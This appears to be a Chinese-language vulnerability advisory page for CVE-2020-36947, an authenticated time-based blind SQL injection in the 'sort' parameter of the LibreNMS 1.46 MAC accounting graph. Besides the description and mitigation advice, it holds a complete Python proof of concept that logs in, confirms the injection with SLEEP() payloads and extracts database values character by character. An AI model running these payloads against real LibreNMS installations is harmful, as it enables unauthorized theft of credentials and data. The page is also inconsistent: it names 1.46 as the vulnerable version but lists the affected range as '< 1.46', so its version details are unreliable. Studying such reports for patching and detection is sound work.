IPBUF安全漏洞报告
English
CVE-2020-36947 CVSS 7.1 高危

CVE-2020-36947: LibreNMS 1.46 MAC accounting graph 认证SQL注入漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36947
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

SQL注入LibreNMS时间盲注认证后漏洞CVE-2020-36947网络入侵数据泄露

漏洞概述

CVE-2020-36947是LibreNMS 1.46版本中存在的一个严重的认证SQL注入漏洞。该漏洞位于MAC accounting graph端点,攻击者可以通过操纵'sort'参数注入恶意SQL代码。由于该漏洞采用时间盲注技术,攻击者需要先获取目标系统的低权限用户账号。成功利用此漏洞后,远程攻击者可以在无需高级权限的情况下,提取数据库中的敏感信息,包括用户凭证、系统配置数据以及其他机密内容。CVSS评分7.1,属于高危漏洞,对系统机密性造成严重影响。虽然完整性影响较低且无需用户交互,但网络可达性和低权限要求使得该漏洞在野利用风险较高。建议受影响的用户立即升级到最新版本或应用官方提供的安全补丁。

技术细节

LibreNMS 1.46的MAC accounting graph功能存在SQL注入漏洞。漏洞点在于处理'sort'参数时未对用户输入进行充分的SQL转义处理。攻击者需要先通过身份认证(低权限即可),然后构造特殊的'sort'参数值触发时间盲注。例如,使用SLEEP()函数结合条件判断,使数据库执行延迟响应,从而推断数据库内容。由于SQL查询结果不会直接返回,攻击者需要通过响应时间的差异来判断注入条件是否为真,逐步提取数据。攻击者通常先验证漏洞存在(如发送延迟5秒的payload),然后编写自动化脚本逐字符猜测数据库内容,如用户名、密码哈希、数据库名等敏感信息。该漏洞属于OWASP Top 10中的A03:2021-Injection类别。

攻击链分析

STEP 1
步骤1
获取LibreNMS低权限用户账号:攻击者通过社工、暴力破解或利用其他漏洞获取目标系统的有效登录凭证
STEP 2
步骤2
访问MAC accounting graph端点:使用获取的凭证登录系统,导航到设备详情页面的MAC accounting功能模块
STEP 3
步骤3
构造SQL注入payload:在'sort'参数中注入时间盲注SQL代码,如使用SLEEP()函数构造条件判断语句
STEP 4
步骤4
验证漏洞存在:通过观察响应时间差异(延迟响应vs正常响应)确认SQL注入点可用
STEP 5
步骤5
自动化数据提取:编写脚本逐字符猜测数据库内容,利用响应时间推断每个字符的ASCII值
STEP 6
步骤6
提取敏感数据:逐步获取数据库用户名、密码哈希、数据库名、表名及最终敏感业务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2020-36947 PoC - Time-based Blind SQL Injection in LibreNMS MAC accounting graph # Target: LibreNMS 1.46 # Endpoint: /ajax_table.php?device=[DEVICE_ID]&type=macaccounting&sort=[SQL_PAYLOAD] TARGET_URL = "http://target-server/ajax_table.php" LOGIN_URL = "http://target-server/login" # Authentication credentials (low privilege user required) USERNAME = "attacker" PASSWORD = "password" DEVICE_ID = "1" # Target device ID def login(): """Login to LibreNMS and get session cookie""" session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=login_data) if 'auth' in response.cookies.get_dict(): return session return None def sql_injection_test(session): """Test for SQL injection vulnerability with time-based delay""" # Basic time-based SQL injection test # If vulnerable, this should cause a 5 second delay payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))s1) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() response = session.get(TARGET_URL, params=params) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] SQL Injection Confirmed! Response time: {elapsed}s") return True else: print(f"[-] No SQL injection detected. Response time: {elapsed}s") return False def extract_data(session, sql_query): """Extract data using time-based blind SQL injection""" # Construct time-based blind SQL injection payload # Extracts first character of the query result payload = f"1' AND (SELECT CASE WHEN ASCII(SUBSTRING(({sql_query}),1,1))>64 THEN SLEEP(2) ELSE 0 END) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() session.get(TARGET_URL, params=params) elapsed = time.time() - start_time return elapsed >= 2 def brute_force_extract(session, sql_query, max_length=50): """Brute force extract data character by character""" result = "" for pos in range(1, max_length + 1): for ascii_val in range(32, 127): char = chr(ascii_val) payload = f"1' AND (SELECT CASE WHEN ASCII(SUBSTRING(({sql_query}),{pos},1))={ascii_val} THEN SLEEP(2) ELSE 0 END) AND '1'='1" params = { 'device': DEVICE_ID, 'type': 'macaccounting', 'sort': payload } start_time = time.time() session.get(TARGET_URL, params=params) elapsed = time.time() - start_time if elapsed >= 2: result += char print(f"[*] Position {pos}: {result}") break return result if __name__ == "__main__": print("[*] CVE-2020-36947 LibreNMS SQL Injection PoC") session = login() if session: print("[+] Login successful") if sql_injection_test(session): print("[+] Extracting database user...") user = brute_force_extract(session, "SELECT user()", 30) print(f"[+] Database User: {user}") else: print("[-] Login failed")

影响范围

LibreNMS < 1.46

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制MAC accounting功能的访问权限,仅允许可信IP访问;2) 在Web应用层部署WAF规则,拦截包含SLEEP/BENCHMARK等时间函数的SQL注入特征;3) 监控数据库慢查询日志,及时发现异常的延迟查询;4) 对低权限账户进行安全审查,限制其数据库访问范围;5) 考虑暂时禁用MAC accounting graph功能,待官方修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表